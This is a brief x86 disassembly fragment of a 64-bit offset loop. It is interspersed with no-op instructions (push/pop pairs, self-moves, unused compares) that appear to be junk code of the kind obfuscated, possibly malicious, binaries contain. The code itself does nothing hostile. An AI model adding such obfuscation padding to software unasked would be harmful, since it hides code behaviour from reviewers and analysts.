mov edx, dword [esp + 0x58]
mov eax, dword [esp + 0x54]
push ecx
push edx
push eax
xor edx, edx
xor eax, eax
mov ecx, edi
sub ecx, dword [esp + 0x54]
sbb edx, eax
add ecx, esi
mov esi, dword [esp + 0x7c]
adc edx, ebp
push edx
push ecx
mov ecx, dword [esp + 0x80]
call fcn.10050870
add esp, 0x14
cmp dword [0x101d0830], 0xffffc6e3
mov esi, dword [esp + 0x30]
add edi, dword [esp + 0x78]
push ebx
pop ebx
cmp edi, dword [esp + 0x38]
jb 0x10050b70
mov edx, edx
mov edi, dword [esp + 0x14]
sub ebx, dword [esp + 0x18]
sbb edi, dword [esp + 0x1c]
add esi, ebx
mov dword [esp + 0x30], esi
adc ebp, edi
cmp dword [0x101d0828], 0x5ef
cmp ebp, dword [esp + 0x24]
jb 0x10050af0
ja 0x10050c1a
cmp esi, dword [esp + 0x20]
jb 0x10050af0
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x18
ret